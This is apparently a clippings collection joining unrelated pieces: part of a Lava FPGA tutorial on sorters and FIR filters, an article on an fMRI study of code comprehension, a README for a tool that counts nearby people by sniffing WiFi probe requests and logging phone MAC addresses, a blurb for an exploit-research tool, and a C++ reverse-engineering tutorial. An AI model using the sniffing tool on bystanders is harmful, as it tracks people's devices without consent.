On a XCV300-4-BG432 part this circuit runs at a speed of at least 196MHz. The
layout for an unsigned KCM with a 32-bit dynamic input and an 11-bit
coefficient is shown below.

<img src='img/Temp2_8177.jpg' width='338' height='738' />

The 4-bit multiplications occur in the rectangular block on the left and the
weighted adder tree is shown on the right hand side of the picture. On a
XCV300-4-BG432 this circuit operates at a speed of at least 130MHz. Many other
layouts are possible e.g. to place the 4-bit multiplications closer to their
corresponding adders at the leaves of the adder tree.

###  **A Sorter Example in Lava**

###  Sorting with Butterfly Networks

This section describes how to build a sorter circuit using butterfly networks
which are carefully placed to ensure high performance. The sorter circuit is
made by recursively merging the results of sub-sorts. A top-level schematic of
the circuit that we present in this section is shown below. The merger that we
present is bitonic which requires the first half of the input list to be
increasing and the second half decreasing \(or vice versa\). The result of the
top sorter is reversed to accommodate this requirement.

<img src='img/Temp2_8191.jpg' width='576' height='209' />

### Batcher's Bitonic Merger

Given the ability to sort two numbers and the diagram above we have a
recursive formula for making sorters of any size. First the availability of a
two sorter is assumed and the merger is designed. Then the implementation of
the two sorter is given.

A merger called Batcher's Bitonic Merger can be made by using a butterfly of
two sorters. Here is an example of a specific butterfly network of two sorters
\(written as 2S\) which merges eight numbers:

<img src='img/Temp2_8148.jpg' width='347' height='207' />

To help describe such butterfly networks in Lava a few useful circuit
combinators are introduced.

From the top level description we see that a reverse operation is required and
we can simply use the built in Haskell reverse function:

<img src='img/Temp2_8172.jpg' width='74' height='221' />

Another very useful wiring combinator is called riffle and an instance of it
is shown below:

<img src='img/Temp2_8142.jpg' width='74' height='230' />

This wiring combinator interleaves the odd and even elements of the input list
\(shown on the left\). It can be defined in Lava as:

[code]

    riffle = halve >-> ziP -> unpair
[/code]

The halve function splits a list into two halves which are returned in a two
element tuple. The ziP combinator takes a pair of lists and returns a new list
of pairs by associating each element in the first list with the corresponding
element in the second list. The unpair function then flattens this list of
pairs into a list.

It is also useful to be able to perform the inverse function of riffle called
unriffle. This circuit can be thought of as the reflection of the riffle
circuit along a vertical axis as shown below.

<img src='img/Temp2_8163.jpg' width='146' height='230' />

The definition of unriffle in Lava is given below.

[code]

    unriffle = pair >-> unzip >-> unhalve
[/code]

Sometimes a bus containing _n_ elements is processed by using two copies of a
circuit such that the first copy of the circuit operates on the bottom half of
the input and the second copy of the circuit operates on the top half of the
input as shown below for a four input bus:

<img src='img/Temp2_8145.jpg' width='54' height='116' />

The combinator that performs this task is called **two** and is easily defined
in Lava:

**two** r = halve >-> **par** \[r,r\] >-> unhalve

Note that this combinator placed the first copy of r below the second copy of
r. A specific instance of this combinator is **two** two\_sorter which is
shown below:

<img src='img/Temp2_8196.jpg' width='74' height='95' />

Another combining form that uses two copies of the same circuit is **ilv**
\(pronounced "interleave"\). This combinator has the property that the bottom
circuit processes the inputs at even positions and the top circuit processes
the inputs at the odd positions. An instance of ilv R for an eight input bus
is shown below.

<img src='img/Temp2_8155.jpg' width='145' height='234' />

The ilv combinator can be defined by noticing the it is the composition of an
unriffle, two R and riffle:

[code]

    ilv r = unriffle >=> two r >=> riffle
[/code]

The evens combinator chops the input list into pairs and then applies copies
of the same circuit to each input. The argument circuit for evens must be a
pair to pair circuit. An instance of evens two\_sorter over an eight input
list is shown below.

<img src='img/Temp2_8183.jpg' width='87' height='221' />

This combinator is defined as:

[code]

    evens f = chop 2 >-> maP f >-> concat
[/code]

Using the combinators shown above we can now describe a butterfly network of
some circuit r \(such that r is a pair to pair circuit\):

[code]

    bfly r 1 = r
    bfly r n = ilv (bfly r (n-1)) >-> evens r 
[/code]

Here is a picture of bfly r 1:

<img src='img/Temp2_8193.jpg' width='54' height='37' />

This makes sense in the case of a two sorter since a butterfly of size 1 has 2
inputs which can be sorted by a single two sorter. The layout for bfly r 2 is:

<img src='img/Temp2_8207.jpg' width='153' height='91' />

The left hand side of this picture shows an interleave of R and the right hand
side shows evens R. The layout for bfly r 3 is:

<img src='img/Temp2_8154.jpg' width='306' height='203' />

Note that a sub-butterfly of size 2 has been identified with a pale
background. It can be instructive to unfold the bfly r 3 expression and then
try and spot where the various combinators occur in the picture.

[code]

    **bfly** r 3 
      = **ilv** (**bfly** r 2)) >-> **evens** r 
      = **ilv** (**ilv** r >-> **evens** r) >-> **evens** r
[/code]

To make a merger all we need to do is to instance this butterfly with a two
sorter. Here is a picture of bfly r two\_sorter \(also shown before\):

<img src='img/Temp2_8148.jpg' width='347' height='207' />

This solves the right hand side of the sorter architecture since bfly
two\_sorter makes a bitonic merger:

<img src='img/Temp2_8204.jpg' width='576' height='209' />

The two remaining sorters can be recursively decomposed using exactly the same
technique used to decompose the top level sorter. For example, the upper
sorter can be implemented by using a merger \(shown on the right\) and then
sorting the two sub-lists. Since each sub-list contains just two elements we
get to the base case of the recursion and deploy a two sorter.

<img src='img/Temp2_8190.jpg' width='576' height='209' />

But how is the merger realized? As before, it is just a butterfly of two
sorters, in this case bfly 2 two\_sorter:

<img src='img/Temp2_8152.jpg' width='576' height='204' />

Applying the same technique to the lower sorter gives the complete
architecture for a size 3 sorter \(i.e. 2^3 inputs = 8\):

<img src='img/Temp2_8199.jpg' width='576' height='199' />

Although it is not at all obvious this circuit sorts eight numbers it has been
systematically derived from a simple procedure which can be codified in Lava
as:

[code]

    sorter cmp 1 = cmp 
    sorter cmp n = two (sorter cmp (n-1)) >-> 
                   sndList reverse >-> bfly cmp n
[/code]

This description says that a sorter of degree 1 \(i.e. 2 inputs\) can be made
using a two sorter. A larger sorter is made by using two small sorters, then
reversing the result of the upper sort, and then merging these sub-sorts using
a butterfly of two sorters. Note that this sorter description is parameterized
on the specific sorter to be used.

An instance of sorter two\_sorter produces a pipelined 8 input sorter which is
shown below on a Virtex-II device:

<img src='img/Temp2_8189.jpg' width='281' height='398' />

Note that since Lava combinators include layout as well as connectivity
information the resulting circuit occupies a rectangular area which
corresponds to the pictures shown above.

A degree 4 \(i.e. 16 inputs\) sorter is shown below:

<img src='img/Temp2_8162.jpg' width='283' height='390' />

A degree 5 \(i.e. 32 inputs\) sorter is shown below:

<img src='img/Temp2_8169.jpg' width='281' height='392' />

A slightly larger version of the network above which sorts 32 16-bit numbers
each clock tick operates at 165MHz on a XC2V3000 part with a latency of 14
clock ticks \(using the 4.1i version of the Xilinx design tools\). Larger
data-sets can be sorted by storing numbers in BlockRAM and then iteratively
sorting and merging. More details can be found in the paper Design and
Verification of a Sorter Core.

Some instances of these butterfly networks were implemented on a XCV300 FPGA
and ChipScope was used to verify that the real hardware actually did sort
numbers:

<img src='img/Temp2_8206.jpg' width='580' height='387' />

#  **A 1D Systolic FIR **

### Introduction

This section describes how to build a one dimensional \(1D\) systolic filter
in Lava. First we present the design of the processing element of the systolic
array. Then we show how this processing element can be replicated to form a
filter. Note that there are many ways of designing such filters and this
technique is not the best possible implementation on Xilinx's FPGA
architectures. This example has been chosen to help illustrate how to describe
systolic-style systems in Lava.

**NOTE** : The filter implementations presented here are designed to
illustrate aspects of Lava and are not the recommended implementations for
Xilinx's FPGAs. Xilinx's Core Generator contains several optimized filter
implementations.

### Finite Impulse Response Filters

The filter we shall build is called a finite impulse response filter \(FIR\)
digital filter which calculate the weighted sum of the current and past
inputs. FIR filters are also known as transversal filters or as a tapped delay
line. The behavior of the finite impulse response filter can be described by
the equation:

<img src='img/Temp2_8173.jpg' width='178' height='90' />

where yt denotes the output at time t and xt represents the input at time t
and ak are the filter coefficients We shall use an "inner product" processing
element to perform a single multiplication and addition and then replicate
this processing element to make a circuit that compute the filtering function.
We shall assume at the coefficients are constants which will allow us to use
constant coefficient multipliers in our implementation.

We can model a finite impulse response filter in Haskell \(the host language
of Lava\) with the following code.

[code]

    semisystolicFIR weights xvals [] = [] 
    semisystolicFIR weights xvals (xin:xrest) 
      = sum [w * x | (w,x) <- zip weights xvals] :   
        semisystolicFIR weights (xin : init xvals) xrest
[/code]

This function takes three arguments:

  1. a list of weight values \(weights\)
  2. a list of the x-values at each tap of the filter \(xvals\)
  3. a list of input samples where the first sample value is called xin and the remainder are called xrest

If the input stream is empty i.e. the empty list \[\] then this function
returns the empty list. If the input stream is non-empty then the first value
in the input list is bound to xin and the remainder of the list is bound to
xrest. The xvals are paired for multiplication up with their corresponding
weight values by using the zip list processing function \(for matching up
elements pair-wise across two lists\). The products are added to yield the
filter result for this tick. This result is then followed by a list that
corresponds to the remainder of the input stream \(xrest\) being recursively
processed by the same function. However, we have to shift along the xvals so
the xin value appears at the first tap. The expression \(init xvals\) returns
the original xvals list with the last element removed. This allows us the
express the "shifting in" of the new x value with the expression xin : init
xvals.

Although the semisystolicFIR function does not correspond to a Lava circuit it
can be used to simulate a filter. For example, assuming we have an input
stream which corresponds to sine wave \(scaled by 127\) we can calculate the
result of applying a finite impulse response filter with weights1 =\[3, 9, 15,
7, 5\]. Here is the results of performing such a simulation at the prompt of
the ghci Haskell interpreter \(looking at only the first 10 values of the
input and output\).

Systolic1DFir> take 10 sineValues \[0,9,18,26,35,43,52,60,67,75\]
Systolic1DFir> take 10 \(semisystolicFIR weights1 \[0,0,0,0,0\] sineValues\)
\[0,0,27,135,375,672,1005,1340,1668,1997\]  
Systolic1DFir>

As a final step a filtering function may divide the output by the sum of the
coefficients which will scale the output signal back into the range of the
input signal \(this is note done by this implementation\). Choosing
coefficients that have sum which is a power of two make it easy to perform
such scaling since this corresponds to throwing allow some of the low order
bits.

### A Semi-Systolic Filter

First we describe a semi-systolic filter. In a systolic design all the wires
between processing elements have at least one latch and all the latches have
the same clock signal. In a semi-systolic design this constraint is relaxed to
allow wires between processing elements which do not have any latches.

The inner product processing element will take as inputs an accumulated sum
from previous processing elements \(yin\), a filter coefficient \(ai\) and a
sample value from the input stream \(xin\) and return two values: the xin is
passed to xout and the yout is computed by performing the inner product
calculation and adding it to the accumulated sum i.e. yout = yin \+ ai \* xin.
An implementation for an inner product processor is shown below where the
purple circle denotes a constant coefficient multiplication by the value ai
and the green circle denotes an adder. The input x values are passed from left
to right and the accumulated sums as passed right right to left.

<img src='img/Temp2_8200.jpg' width='372' height='184' />

To make a complete filter we need a way of sequencing the x values one at a
time through each processing element. This can be accomplished by placing a
register at the xin input of the inner product processing giving the following
processing element:

<img src='img/Temp2_8151.jpg' width='377' height='183' />

A semi-systolic filter can now be made by composing several comprises of this
processing element. We need one processing element for each tap in the filter
so a four tap filter would like look:

<img src='img/Temp2_8164.jpg' width='580' height='92' />

This is a semi-systolic filter because although there are registers on the
wires carrying the x values there are no registers on the wires that carry the
accumulated sum. The critical path of this circuit goes through four
processing elements which makes this a poor implementation choice.

The Lava description of this filter can be used to generate VHDL for
simulation and EDIF for implementation using Xilinx's place and route tools.
The VHDL simulation shows that the filter behaves as expected:

<img src='img/Temp2_8197.jpg' width='580' height='194' />

The layout of this filter is shown below implemented in the corner of a
Virtex-II FPGA \(an XC2V1000-FF896 with speed grade 6\).

<img src='img/Temp2_8180.jpg' width='544' height='312' />

This adders grow taller in a left to right direction as the accumulated sum
gets larger. This implementation has a maximum combinational delay of 14.527ns
\(as reported by the place and route tools\) which gives a maximum frequency
of 68.8MHz and has 14 logic levels. This implementation uses 119 slices. This
layout can be compacted by overlapping some of the pipeline registers with the
result of the KCM calculation which also results in a faster implementation.

A better filter can be made by transforming this semi-systolic filter into a
systolic filter by the systematic application of three techniques: retiming,
slowdown and hold-up.

### The Processing Element

The processing element of the 1D systolic FIR is shown below. Both the x
values and the accumulated results flow from left to right. Registers are
added at the inputs and outputs for pipelining in a way that makes sure the
accumulated sums and x values stay in synch.

<img src='img/Temp2_8160.jpg' width='363' height='162' />

This circuit can be specified by the Lava code below which makes use of a KCM
and an adder that were presented earlier.

[code]

    holdupPE clk k
      =  fsT (registerAndMultiply clk k) >->
         reorg >-> 
         snD ((flexibleUnsignedAdder >|> vreg clk) >-> vreg clk)
         where
         reorg ((a,b),c) = (a,(b,c))
[/code]

### A 4-tap Filter

An example of a four tap filter using this processing element is shown below:

<img src='img/Temp2_8153.jpg' width='580' height='77' />

This is formed by simply replicating the processing element horizontally. The
x input has to be delayed by one clock tick to synchronize with the y inputs.
When this filter is implemented by the Xilinx place and route tools the last
two registers on the x path are automatically pruned as is the unused xout
signal. The Lava code for this filter is shown below.

[code]

    holdupFilter :: [Int] -> Bit -> [Bit] -> [Bit]
    holdupFilter weights clk xin
      = yout
        where
        (xout, yout) = hser [holdupPE clk k | k <- reverse weights]) 
                       (xin, replicate (length xin) gnd)
[/code]

This filter has a much higher latency \(8 ticks\) than the semi-systolic
filter:

<img src='img/Temp2_8150.jpg' width='580' height='192' />

However, since the longest combinational path between any two registers goes
through just one processing element. The place and route tools report a
maximum clock period of 6.687ns which allows this filter to be run at 150MHz.

A more compact but slower filter can be made by realizing the multiple
register stages with SRL16 components \(shift registers implemented in LUTs
which can shift by up to 16 stages\).

A better implementation can be produced by transforming the semi-systolic
implementation into a systolic implementation by the systematic application of
three techniques: retiming, slowdown and hold-up.

### Describing The Semi-Systolic Filter

Although the semi-systolic filter is not recommended for FPGA implementation
we reproduce the implementation and show how it can be captured in Lava.

<img src='img/Temp2_8164.jpg' width='580' height='92' />

This architecture can not be directly described by the Lava combinators
introduced so far because there is both left to right and right to left data-
flow through each block. To help describe such communication patterns we
introduce a new combinator called two-way serial and written as  >< :

<img src='img/Temp2_8158.jpg' width='201' height='134' />

This combinator can then be used to describe a combinator called  twoWayRow
for the serial composition of many identical blocks that have two-way data-
flow:

<img src='img/Temp2_8144.jpg' width='372' height='134' />

The definition of twoWayRow is:

twoWayRow = foldl1 \(><\)

This combinator can now be used directly to describe the semi-systolic filter
shown above.

# This Is Your Brain On Code, According To Functional MRI Imaging ⚙ Co.Labs ⚙
code + community

**Created:**| _4/22/2014 6:38:00 PM_  
---|---  
**Updated:**| _4/22/2014 6:38:00 PM_  
**Author:**| __  
**Tags:**| _research_  
  

# This Is Your Brain On Code, According To Functional MRI Imaging

Non-coders often associate programming with math, but researchers have used
fMRI readings to discover a possible link to the language processing centers
of our brains.

* * *
* * *
This story contains interviews with Christian Kästner, assistant professor at
Carnegie Mellon University; Amy Hirotaka, state policy and advocacy manager at
Code.org; and Janet Siegmund, researcher at the University of Passau.

In order to expose more students to computer science, 17 states have passed
legislation to create basic math and science requirements in the curriculum,
rather than count as electives. But lawmakers in Texas have made computer
programming count toward a foreign language requirement, with Kentucky and New
Mexico gearing up to follow suit.

So, is coding language or math?

#### How Human Brains Interpret Coding

Here's how the debate is shaping up. Those in the math and science camp argue
that computer science encompasses more than just the "language" the computer
can interpret--specifically, it requires learning algorithm logic that
necessitates specially trained technical instructors.

On the other hand, the "code-is-a-foreign-language" proponents are fiercely
stating their case, seeing an opportunity to fill in curriculum gaps left
behind by shrinking foreign language departments in schools.

While lawmakers and educators alike fight over whether computer programming is
considered a foreign language or a math, there has been virtually no
scientific evidence to support or refute either case. That is, until now.

#### The Study

Researchers at the University of Passau, University of Magdeburg, Carnegie
Mellon, Georgia Tech, the Leibniz Institute for Neurobiology, and the Metop
Research Institute put their heads together to figure out how exactly computer
programmers understand code. Their study was accepted to this year's
International Conference on Software Engineering.

This is the first study in which scientists have looked into the brains of
programmers, using the imaging tools of neuroscience. You can find the study
here in PDF form.

Primary author of the study, computer scientist Janet Siegmund at the
University of Passau, was so interested in the "language or math" debate that
she decided to peer into the brains of computer programmers using an MRI, in
hopes of shedding some light on the issue.

“That was actually my starting point,” Siegmund says. She wanted to know how
the brain registered the act of programming, which led her to her current
research question, "How do coders understand code?"

In the experiment, 17 participants interpreted a few lines of code while lying
down inside an fMRI machine. All of the test subjects were university students
that had an undergraduate understanding of programming and the Java language.
Two of the 17 participants happened to be female.

Each person read several different Java code snippets of similar difficulty so
that the researchers could average the resulting brain imaging data. To rule
out brain activity that was not related to interpreting code, the researchers
subtracted imaging data related to an error detection task. They found that
error detection did not activate the parts of the brain that dealt with the
code interpretation task.

All of the test code consisted of several lines, at the end of which the
program would print an output. The participants’ task was to predict the
printed output after studying the code. All of the participants were capable
of understanding the code within the given time frame.

#### The Programming-Language Link

So, does computer programming fall into the languages subject area?

“It appears to make some sense, based on what we have learned from the study,”
Siegmund says.

But Siegmund stresses that more research would better solidify her
conclusions, especially since this was an initial attempt to answer the math-
or-language question. She says, “Actually, with these kinds of studies, you
should always say that more studies need to be done. But what we found is that
it appears to be related.”

Future studies might improve on the current experiment. “We had a very
artificial kind of testing because you really had just small source-code
snippets with, like, 20 lines of code,” Siegmund says. Anything larger would
have fallen out of the viewing area of the small mirror that was tacked onto
the inside of the fMRI machine.

What’s more is that the code could not be so difficult that the subject could
not finish the task within the allotted time. Real-world programs usually
contain numerous lines and would likely stump the external reviewer.

Christian Kästner, the second author of the study, elaborates on why more work
needs to be done. He says, “There is no clear evidence that learning a
programming language is like learning a foreign language, but our results show
that there are clearly similarities in brain activations that show that the
hypothesis is plausible.”

It is important to note that the participants did not actively write computer
programs in the experiment. They merely read code chunks for understanding.
So, it is inaccurate to definitively say that computer programming is more a
language than a math. The truth is still out there.

#### Neuroscience And Computer Science Collide

Earlier attempts to understand programmers’ cognitive abilities used
qualitative measures and mostly relied on self-reports from the programmers
the experiments were done on. But Siegmund decided to use a hard-data method
from neuroscience to directly measure a programmer’s understanding of the code
using fMRI imaging.

<img src='img/Temp2_8363.jpg' />

The colored areas were the active brain regions when the participants read and
understood the code.  
  

Embracing the tool carried a learning curve. “You need a lot of experience
with fMRI studies. You need to know how the machine works and what you can do
with the data,” Siegmund says.

A chance meeting with biologists at a conference brought in the know-how that
Siegmund and her colleagues needed in order to properly plan out and interpret
the data from their fMRI study. “I don’t think we would have been there if we
didn’t have the new biologists on board,” Siegmund says.

#### Blurred Lines Between Math And Language

The study might give insight into how reading code could impact a student’s
brain. Even so, it is difficult to know for certain if other parts of the
brain were activated.

Last year, neuroscientists did a study on patients whose brains were implanted
with electrodes. Using this invasive method, they were able to pinpoint a
region of the brain that processes numerals, called the inferior temporal
gyrus. They further concluded that this region is physically near the area
responsible for language processing.

It is possible that the fMRI in Siegmund’s study may not have been able to
detect activity in this region. Maia Szalavitz, writing for _Time_ , wrote,
“Since the inferior temporal gyrus is so close to the ear canals, functional
MRI machines, which detect changes in oxygen use and blood flow by nerve
cells, may not be as sensitive to the activity of neurons tucked away in that
area.”

Even more evidence confounds the distinction between language and calculation
processing areas of the brain. A year 2000 study concluded that the same
region that is responsible for processing semantics is also important when
performing mental calculations. Incidentally, Siegmund and her colleagues
found activity in this same region.

No matter which way you look at it, most brain imaging studies remind readers
that activated areas that show up with the chosen imaging method correspond to
several different processes that are open to interpretation.

Siegmund and her colleagues also concede that the way they interpreted their
study’s results is open for review, writing in the paper that they might have
missed important processes.

But Siegmund reiterates, “The activation pattern that we found shows very
clear and really distinct areas are activated that are related to our current
understanding of program comprehension.”

#### Comp-Sci Is More Than Just Code

Even if Siegmund’s and Kästner’s study has showed a relationship between
reading a computer program and the brain’s language centers, it does not speak
to the field of computer science as a whole.

Amy Hirotaka, state policy and advocacy manager at the non-profit Code.org,
wrote in an email to us, “Computer science is more than just code. The
fundamental concepts of computer science--like logic and problem solving--
align well with mathematics and science disciplines, extending beyond simply
learning a programming language.”

Considering now that computer science could come out of a school’s foreign
language department, Hirotaka sees issues with teacher quality down the line.
Each department has its own ways of certifying a teacher’s credentials. It
suffices to say that getting foreign language and mathematics departments to
converge on one credentialing standard would create an administrative mess,
even if it would give students more foreign language options.

Hirotaka added, “Counting computer science as a foreign language might sound
like a creative fix, but it causes major problems when it comes to teacher
certification and departmental alignment.”

#### Programmers’ Brains In The Real World

School policies aside, the study could pave the way for improvements in the
programming field. Kästner is quick to point out that using neuroscience can
help us determine what makes a great programmer different from an average one.

“We still have no clear idea how to train really good developers. For decades
researchers have found that there are individual programmers who program more
productively at higher quality and also do most of the communication in the
project. These are often referred to as 10Xers because many studies found that
they produce ten times more code, or in a tenth of the time or do ten times
more communication,” Kästner says.

He adds, “We know that these developers exist; we often quickly recognize
them. Most of us know at least one such developer, and every tech company
tries to hire them. But we have no idea how they got there or whether we could
train others to excel at similar levels. Studying how program comprehension
differs among novices, professionals, and 10Xers may allow us to get a better
understanding of what makes a truly excellent programmer.”

Siegmund imagines that the research could result in better software syntax.
“Now that we actually have a better idea of what is happening inside a
programmer’s brain, we found that it was related to natural language
processing. Maybe programming languages should be more like natural
languages,” she says.

“The more domain-specific languages, like SQL, are more close to natural
language processing. It would come closer than Java,” says Siegmund.

All things considered, the researchers’ biggest takeaway from studying
programmers’ brain activity is the possibility for even more discoveries in
computer science and software engineering.

“This opens the door for many future studies in this field. The actual
activations found in this study are nice and confirm mostly what we expected,
but the key result is a proof of concept of using fMRI as a tool in software
engineering research,” says Kästner.

If you want to get your language processing centers working away, try perusing
the Java snippets from the study here.

# schollz/howmanypeoplearearound

**Created:**| _5/14/2017 12:02:04 PM_  
---|---  
**Updated:**| _5/14/2017 12:02:04 PM_  
**Author:**| __  
**Tags:**| _wifi signal sigops_  
  

  

###  README.md

# howmanypeoplearearound

Count the number of people around you <img src='img/1f468-1f468-1f466.png'
width='20' height='20' alt=':family_man_man_boy:' /> by monitoring wifi
signals 📡.

_howmanypeoplearearound_ calculates the number of people in the vicinity using
the approximate number of smartphones as a proxy \(since ~70% of people have
smartphones nowadays\). A cellphone is determined to be in proximity to the
computer based on sniffing WiFi probe requests. Possible uses of
_howmanypeoplearearound_ include: monitoring foot traffic in an area with
Raspberry Pis, seeing if your roommates are home, calculate how many people
are on the bus, etc.

Tested on Linux \(Raspbian and Ubuntu\) and macOS.

# Getting started

## Dependencies

### WiFi adapter with monitor mode

There are a number of possible USB WiFi adapters that support monitor mode.
Personally I prefer the TN722N which is only ~$10 and works great with every
model of the Raspberry Pi. Here is a good list of adapters that support 'ad-
hoc' mode for the Raspberry Pi.

### tshark

[code]

    sudo apt-get install tshark
    
[/code]

Then update it so it can be run as non-root:

[code]

    sudo dpkg-reconfigure wireshark-common     (select YES)
    sudo usermod -a -G wireshark $USER
    
[/code]

You will need to logout and log back in for changes to effect.

## Install

If you have Python installed, run this command

[code]

    pip install howmanypeoplearearound
    
[/code]

## Run

First determine which adapter you want to use to scan \(usually its ` wlan1
`\), which you can find the name of using ` ifconfig `. Then, to run, just
type in

[code]

    $ howmanypeoplearearound
    Specify WiFi adapter (use ifconfig to determine): wlan1
    Using wlan1 adapter and scanning for 60 seconds...
    [==================================================] 100%        0s left
    There are about 3 people around.
[/code]

You can modify the scan time, designate the adapter, or modify the output
using some command-line options.

[code]

    $ howmanypeoplearearound --help
    
    Options:
      -a, --adapter TEXT   adapter to use
      -s, --scantime TEXT  time in seconds to scan
      -o, --out TEXT       output cellphone data to file
      -v, --verbose        verbose mode
      --number             just print the number
      -j, --jsonprint      print JSON of cellphone data
      -n, --nearby         only quantify signals that are nearby (rssi > -70)
      --help               Show this message and exit.
[/code]

You can also generate an JSON-formatted output to see what kind of phones are
around:

[code]

    $ howmanypeoplearearound -o test.json -a wlan1
    [==================================================] 100%         0s left
    There are about 4 people around.
    $ cat test.json
    [
      {
        "rssi": -86.0,
        "mac": "90:e7:c4:xx:xx:xx",
        "company": "HTC Corporation"
      },
      {
        "rssi": -84.0,
        "mac": "80:e6:50:xx:xx:xx",
        "company": "Apple, Inc."
      },
      {
        "rssi": -49.0,
        "mac": "ac:37:43:xx:xx:xx",
        "company": "HTC Corporation"
      }
    ]
[/code]

A higher rssi means closer \(one of these phones is mine, and the other two
are my roommates' who were upstairs\).

You can create a log file with the number of people this one-liner \(make sure
to change your adapter\):

[code]

    $  while :; do echo "`date` `howmanypeoplearearound --number -a wlan1 -s 180`" >> log; sleep 1; done
    
[/code]

# How does it work?

_howmanypeoplearearound_ counts up the number of probe requests coming from
cellphones in a given amount of time. The probe requests can be "sniffed" from
a monitor-mode enabled WiFi adapter using ` tshark `. An acccurate count does
depend on everyone having cellphone and also scanning long enough \(1 - 10
minutes\) to capture the packet when a phone pings the WiFi network \(which
happens every 1 to 10 minutes unless the phone is off or WiFi is disabled\).

This is a simplification of another program I wrote, find-lf which uses a
similar idea with a cluster of Raspberry Pis to geolocate positions of
cellphones within the vicinity.

# License

MIT

  

# Internet Security | Vulnerability Assessment | Computer Network Security | Vulnerability Management
**Created:**| _5/9/2009 10:22:25 AM_  
---|---  
**Updated:**| _5/9/2009 10:23:15 AM_  
**Author:**| __  
**Tags:**| _security tools_  
  
EEREAP The eEye Emulating Return Address Purveyor is a project presented by
eEye researchers Derek Soeder, Ryan Permeh, and Yuji Ukai at Black Hat USA
2004. It showcases advanced machine code emulation technology specially
designed for discovering return addresses in volatile execution environments.  
  
\[**Download v0.81**\]

http://research.eeye.com/html/Tools/download/eereap.zip  

  

# Reversing C++ programs with IDA pro and Hex-rays at Aris' Blog - Computers,
ssh and rock'n roll

**Created:**| _9/8/2011 11:36:19 AM_  
---|---  
**Updated:**| _9/8/2011 11:36:19 AM_  
**Author:**| __  
**Tags:**| _C++ reversing_  
  

## Reversing C++ programs with IDA pro and Hex-rays

02/09/11 - 09:12pm

# Introduction

During my holidays, I had plenty of time to study and reverse a program, which
was completely coded in C++. This was the first time I seriously studied a C++
codebase, using IDA as the only source of information, and found it quite
hard.

Here’s a sample of what you get with Hex-rays when you start up digging into
an interesting function:

[code]

    v81 = 9;
    v63 = *(_DWORD *)(v62 + 88);
    if ( v63 )
    {
       v64 = *(int (__cdecl **)(_DWORD, _DWORD, _DWORD,
       _DWORD, _DWORD))(v63 + 24);
       if ( v64 )
         v62 = v64(v62, v1, *(_DWORD *)(v3 + 16), *(_DWORD
         *)(v3 + 40), bstrString);
    }
[/code]

It’s our job to add symbol names, identify classes and set up all the
information to help hex-rays in giving us a reliable and certainly
understandable output:

[code]

    padding = *Dst;
    if ( padding < 4 )
      return -1;
    buffer_skip_bytes(this2->decrypted_input_buffer, 5u);
    buffer_skip_end(this2->decrypted_input_buffer, padding);
    if ( this2->encrypt_in != null )
    {
      if ( this2->compression_in != null )
      {
        buffer_reinit(this2->compression_buffer_in);
        packet_decompress(this2,
          this2->decrypted_input_buffer,
          this2->compression_buffer_in);
        buffer_reinit(this2->decrypted_input_buffer);
        avail_len = buffer_avail_bytes(this2->compression_buffer_in);
        ptr = buffer_get_data_ptr(this2->compression_buffer_in);
        buffer_add_data_and_alloc(this2->decrypted_input_buffer, ptr, avail_len);
      }
    }
    packet_type = buffer_get_u8(this2->decrypted_input_buffer);
    *len = buffer_avail_bytes(this2->decrypted_input_buffer);
    this2->packet_len = 0;
    return packet_type;
[/code]

Of course, Hex-rays is not going to invent the names for you, you’ll still
have to make sense of the code and what it means to you, but at least, being
able to give a name to the classes will certainly help.

All my samples here have been compiled either with visual studio or Gnu C++. I
have found the results to be similar, even if they may not be compatible. Fix
it for your compiler of interest.

# Structure of a C++ program

It is not my goal to teach you how OOP works, you already know that. We’ll
just see how it works \(and is implemented\) in the big lines.

**Class = data structure + code \(methods\).**

The data structure can only be seen in the source code, when the methods will
appear in your favorite disassembler.

**Object = memory allocation + data + virtual functions.**

The object is an instantiation of a class, and something you can observe in
IDA. An object needs memory, so you will see a call to new\(\) \(or a stack
allocation\), a call to a constructor and a destructor. You will see accesses
to its member variables \(embedded objects\) and maybe calls to virtual
functions.

Virtual functions are silly: it is hard to know, without running the program
with breakpoints, what code is going to be executed at runtime \(and
disassemble it\).

Member variables are a bit easier: they work like their counterpart in C
\(structs\), and IDA has a very handy tool to declare structures, and hex-rays
handles them very well in the disassembly. Let’s go back to the bits and
bytes.

## Object creation

[code]

    int __cdecl sub_80486E4()
    {
      void *v0; // ebx@1
      v0 = (void *)operator new(8);
      **sub_8048846**(v0);
      (**(void (__cdecl ***)(void *))v0)(v0);
      if ( v0 )
        (*(void (__cdecl **)(void *))(*(_DWORD *)v0 + 8))(v0);
      return 0;
    }
[/code]

Here’s the decompilation of a small test program I compiled with G++. We can
see the new\(8\), which means our object is 8 bytes long, even if that doesn’t
mean we have 8 bytes of variables.

The function **sub\_8048846** called just after the new\(\) takes the pointer
as parameter, and certainly is the constructor.

The next function call is a little cryptic. It’s doing two pointer deferences
on v0 before calling it. It’s a virtual function call.

All polymorphic objects have a special pointer in their variables, called the
vtable. This table contains addresses of all the virtual methods, so the C++
program can call them when needed. In the compilers I could test, this vtable
is always the first element of an object, and always stays at the same place,
even in subclasses. \(This could no stay true for multiple inheritance. I did
not test\).

Let’s do some IDA magic:

## Rename the symbols

Just click on a name, press « n » and give a meaningful name. Since we don’t
know yet what our class do, I suggest we name the class « class1 », and use
this convention until we’ve understood what our class do. It’s very possible
that we’re going to discover other classes before we finished digging class1,
so I suggest we simply continue naming classes as we find them.

[code]

    int __cdecl main()
    {
      void *v0; // ebx@1
      v0 = (void *)operator new(8);
      class1::ctor(v0);
      (**(void (__cdecl ***)(void *))v0)(v0);
      if ( v0 )
        (*(void (__cdecl **)(void *))(*(_DWORD *)v0 + 8))(v0);
      return 0;
    }
[/code]

## Create structures

The « structures » window of IDA is very useful. Type Shift-F9 to make it
appear. I suggest you pull it off \(in the QT IDA version\) and put it on the
right of the IDA window, so you can see both the decompile window and the
structures.

Press « ins » and create a new structure « class1 ». Since we know that this
structure is 8 bytes long, add fields \(using key « d »\) until we have two «
dd » fields. Rename the first to vtable, since yes, that’s what we got here \!

<img src='img/Temp2_6954.png' width='529' height='335' />

Now, we’re going to add typing information in our function. Right-click on v0,
« Convert to struct \* », select « class1 ». Alternatively, pressing « y » and
typing in « class1 \* » will give you the same result.

Create a new structure, of 12 bytes, and call it « class1\_vtable ». At this
state, we cannot really know how big that vtable is, but changing the
structure size is very easy. Click on « vtable » in class1’s declaration, and
type « y ». Now, declare it as a « class1\_vtable \* » object. Refresh the
pseudocode view, and watch the magic.

<img src='img/Temp2_6955.png' width='596' height='258' />

We can rename the few methods to « method1 » to « method3 ». Method3 is
